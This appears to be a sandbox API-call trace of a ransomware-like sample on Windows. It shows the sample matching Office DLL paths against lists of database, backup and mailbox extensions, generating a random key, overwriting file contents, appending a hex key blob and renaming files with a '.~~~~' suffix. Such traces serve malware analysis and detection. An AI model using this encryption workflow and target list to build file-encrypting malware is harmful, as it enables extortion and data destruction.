	[0079.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".accdb") returned 0x0
	[0079.209] lstrlenW (lpString=".DBX") returned 4
	[0079.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".DBX") returned 0x0
	[0079.209] lstrlenW (lpString=".MDT") returned 4
	[0079.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".MDT") returned 0x0
	[0079.209] lstrlenW (lpString=".SQB") returned 4
	[0079.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".SQB") returned 0x0
	[0079.210] lstrlenW (lpString=".vhd") returned 4
	[0079.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".vhd") returned 0x0
	[0079.210] lstrlenW (lpString=".bac") returned 4
	[0079.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".bac") returned 0x0
	[0079.210] lstrlenW (lpString=".mdf") returned 4
	[0079.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".mdf") returned 0x0
	[0079.210] lstrlenW (lpString=".BAK") returned 4
	[0079.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".BAK") returned 0x0
	[0079.210] lstrlenW (lpString=".BAC") returned 4
	[0079.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".BAC") returned 0x0
	[0079.210] lstrlenW (lpString=".dbs") returned 4
	[0079.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".dbs") returned 0x0
	[0079.210] lstrlenW (lpString=".vhdx") returned 5
	[0079.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".vhdx") returned 0x0
	[0079.210] lstrlenW (lpString=".NDF") returned 4
	[0079.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".NDF") returned 0x0
	[0079.210] lstrlenW (lpString=".dat") returned 4
	[0079.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".dat") returned 0x0
	[0079.210] lstrlenW (lpString=".DBS") returned 4
	[0079.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".DBS") returned 0x0
	[0079.210] lstrlenW (lpString=".CKP") returned 4
	[0079.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".CKP") returned 0x0
	[0079.210] lstrlenW (lpString=".edb") returned 4
	[0079.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".edb") returned 0x0
	[0079.211] lstrlenW (lpString=".PST") returned 4
	[0079.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".PST") returned 0x0
	[0079.211] lstrlenW (lpString=".dbf") returned 4
	[0079.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".dbf") returned 0x0
	[0079.211] lstrlenW (lpString=".SQL") returned 4
	[0079.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".SQL") returned 0x0
	[0079.211] lstrlenW (lpString=".pst") returned 4
	[0079.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".pst") returned 0x0
	[0079.211] lstrlenW (lpString=".dbv") returned 4
	[0079.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".dbv") returned 0x0
	[0079.211] lstrlenW (lpString=".SDF") returned 4
	[0079.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".SDF") returned 0x0
	[0079.211] lstrlenW (lpString=".dtxs") returned 5
	[0079.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".dtxs") returned 0x0
	[0079.211] lstrlenW (lpString=".db3") returned 4
	[0079.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".db3") returned 0x0
	[0079.211] lstrlenW (lpString=".OST") returned 4
	[0079.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".OST") returned 0x0
	[0079.211] lstrlenW (lpString=".dbx") returned 4
	[0079.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".dbx") returned 0x0
	[0079.211] lstrlenW (lpString=".DB3") returned 4
	[0079.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".DB3") returned 0x0
	[0079.211] lstrlenW (lpString=".DAT") returned 4
	[0079.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".DAT") returned 0x0
	[0079.212] lstrlenW (lpString=".VHDX") returned 5
	[0079.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".VHDX") returned 0x0
	[0079.212] lstrlenW (lpString=".ndf") returned 4
	[0079.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".ndf") returned 0x0
	[0079.212] lstrlenW (lpString=".DB") returned 3
	[0079.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".DB") returned 0x0
	[0079.212] lstrlenW (lpString=".sql") returned 4
	[0079.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".sql") returned 0x0
	[0079.212] lstrlenW (lpString=".MYD") returned 4
	[0079.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".MYD") returned 0x0
	[0079.212] lstrlenW (lpString=".DBT") returned 4
	[0079.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".DBT") returned 0x0
	[0079.212] lstrlenW (lpString=".ACCDB") returned 6
	[0079.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".ACCDB") returned 0x0
	[0079.212] lstrlenW (lpString=".fdb") returned 4
	[0079.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".fdb") returned 0x0
	[0079.212] lstrlenW (lpString=".bak") returned 4
	[0079.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".bak") returned 0x0
	[0079.212] lstrlenW (lpString=".myd") returned 4
	[0079.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".myd") returned 0x0
	[0079.212] lstrlenW (lpString=".DTXS") returned 5
	[0079.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".DTXS") returned 0x0
	[0079.212] lstrlenW (lpString=".ckp") returned 4
	[0079.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".ckp") returned 0x0
	[0079.212] lstrlenW (lpString=".dbt") returned 4
	[0079.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".dbt") returned 0x0
	[0079.213] lstrlenW (lpString=".db") returned 3
	[0079.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".db") returned 0x0
	[0079.213] lstrlenW (lpString=".TXT") returned 4
	[0079.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".TXT") returned 0x0
	[0079.213] lstrlenW (lpString=".MDF") returned 4
	[0079.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".MDF") returned 0x0
	[0079.213] lstrlenW (lpString=".bdb") returned 4
	[0079.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".bdb") returned 0x0
	[0079.213] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0079.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0079.213] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0079.213] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0079.213] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0079.214] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0079.214] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0079.214] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0079.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0079.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0079.214] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19920447909) returned 1
	[0079.214] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x99140490, dwHighDateTime=0x1d60e1e)) 
	[0079.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0079.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0079.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0079.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b528
	[0079.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0079.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b528 | out: hHeap=0x300000) returned 1
	[0079.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0079.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0079.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4700
	[0079.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0079.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b23c0
	[0079.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4700 | out: hHeap=0x300000) returned 1
	[0079.215] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0079.215] GetLastError () returned 0x0
	[0079.215] GetLastError () returned 0x0
	[0079.215] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0079.216] GetLastError () returned 0x0
	[0079.216] GetLastError () returned 0x0
	[0079.216] ReadFile (in: hFile=0x118, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.218] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.218] WriteFile (in: hFile=0x118, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0079.219] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.219] WriteFile (in: hFile=0x118, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0079.338] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0079.338] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0079.338] CloseHandle (hObject=0x118) returned 1
	[0079.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6fe8
	[0079.338] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll.~~~~")) returned 1
	[0079.339] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6fe8 | out: hHeap=0x300000) returned 1
	[0079.339] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0079.339] GetLastError () returned 0x0
	[0079.339] RtlWakeConditionVariable () returned 0x365f70
	[0079.339] GetCurrentThreadId () returned 0xaf0
	[0079.340] GetCurrentThreadId () returned 0xaf0
	[0079.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2290
	[0079.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fb1a8 | out: hHeap=0x300000) returned 1
	[0079.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b6b0 | out: hHeap=0x300000) returned 1
	[0079.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb1a8
	[0079.340] lstrlenW (lpString=".scr") returned 4
	[0079.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".scr") returned 0x0
	[0079.340] lstrlenW (lpString=".cmd") returned 4
	[0079.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".cmd") returned 0x0
	[0079.340] lstrlenW (lpString=".dll") returned 4
	[0079.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".dll") returned 0x0
	[0079.340] lstrlenW (lpString=".bat") returned 4
	[0079.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".bat") returned 0x0
	[0079.340] lstrlenW (lpString=".cpl") returned 4
	[0079.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".cpl") returned 0x0
	[0079.340] lstrlenW (lpString=".sys") returned 4
	[0079.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".sys") returned 0x0
	[0079.340] lstrlenW (lpString=".msc") returned 4
	[0079.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".msc") returned 0x0
	[0079.340] lstrlenW (lpString=".com") returned 4
	[0079.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".com") returned 0x0
	[0079.340] lstrlenW (lpString=".lnk") returned 4
	[0079.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".lnk") returned 0x0
	[0079.340] lstrlenW (lpString=".msp") returned 4
	[0079.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".msp") returned 0x0
	[0079.340] lstrlenW (lpString=".pif") returned 4
	[0079.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".pif") returned 0x0
	[0079.341] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0079.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0079.341] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0079.341] lstrlenW (lpString=".sqb") returned 4
	[0079.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".sqb") returned 0x0
	[0079.341] lstrlenW (lpString=".ost") returned 4
	[0079.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".ost") returned 0x0
	[0079.341] lstrlenW (lpString=".txt") returned 4
	[0079.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".txt") returned 0x0
	[0079.341] lstrlenW (lpString=".mdt") returned 4
	[0079.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".mdt") returned 0x0
	[0079.341] lstrlenW (lpString=".BDB") returned 4
	[0079.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".BDB") returned 0x0
	[0079.341] lstrlenW (lpString=".eql") returned 4
	[0079.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".eql") returned 0x0
	[0079.342] lstrlenW (lpString=".DBF") returned 4
	[0079.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".DBF") returned 0x0
	[0079.342] lstrlenW (lpString=".EQL") returned 4
	[0079.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".EQL") returned 0x0
	[0079.342] lstrlenW (lpString=".FDB") returned 4
	[0079.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".FDB") returned 0x0
	[0079.342] lstrlenW (lpString=".EDB") returned 4
	[0079.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".EDB") returned 0x0
	[0079.342] lstrlenW (lpString=".DACPAC") returned 7
	[0079.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".DACPAC") returned 0x0
	[0079.342] lstrlenW (lpString=".VHD") returned 4
	[0079.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".VHD") returned 0x0
	[0079.342] lstrlenW (lpString=".DBV") returned 4
	[0079.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".DBV") returned 0x0
	[0079.342] lstrlenW (lpString=".dacpac") returned 7
	[0079.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".dacpac") returned 0x0
	[0079.342] lstrlenW (lpString=".sdf") returned 4
	[0079.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".sdf") returned 0x0
	[0079.342] lstrlenW (lpString=".accdb") returned 6
	[0079.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".accdb") returned 0x0
	[0079.342] lstrlenW (lpString=".DBX") returned 4
	[0079.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".DBX") returned 0x0
	[0079.342] lstrlenW (lpString=".MDT") returned 4
	[0079.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".MDT") returned 0x0
	[0079.342] lstrlenW (lpString=".SQB") returned 4
	[0079.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".SQB") returned 0x0
	[0079.343] lstrlenW (lpString=".vhd") returned 4
	[0079.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".vhd") returned 0x0
	[0079.343] lstrlenW (lpString=".bac") returned 4
	[0079.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".bac") returned 0x0
	[0079.343] lstrlenW (lpString=".mdf") returned 4
	[0079.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".mdf") returned 0x0
	[0079.343] lstrlenW (lpString=".BAK") returned 4
	[0079.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".BAK") returned 0x0
	[0079.343] lstrlenW (lpString=".BAC") returned 4
	[0079.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".BAC") returned 0x0
	[0079.343] lstrlenW (lpString=".dbs") returned 4
	[0079.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".dbs") returned 0x0
	[0079.343] lstrlenW (lpString=".vhdx") returned 5
	[0079.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".vhdx") returned 0x0
	[0079.343] lstrlenW (lpString=".NDF") returned 4
	[0079.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".NDF") returned 0x0
	[0079.343] lstrlenW (lpString=".dat") returned 4
	[0079.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".dat") returned 0x0
	[0079.343] lstrlenW (lpString=".DBS") returned 4
	[0079.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".DBS") returned 0x0
	[0079.343] lstrlenW (lpString=".CKP") returned 4
	[0079.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".CKP") returned 0x0
	[0079.343] lstrlenW (lpString=".edb") returned 4
	[0079.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".edb") returned 0x0
	[0079.343] lstrlenW (lpString=".PST") returned 4
	[0079.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".PST") returned 0x0
	[0079.343] lstrlenW (lpString=".dbf") returned 4
	[0079.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".dbf") returned 0x0
	[0079.344] lstrlenW (lpString=".SQL") returned 4
	[0079.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".SQL") returned 0x0
	[0079.344] lstrlenW (lpString=".pst") returned 4
	[0079.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".pst") returned 0x0
	[0079.344] lstrlenW (lpString=".dbv") returned 4
	[0079.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".dbv") returned 0x0
	[0079.344] lstrlenW (lpString=".SDF") returned 4
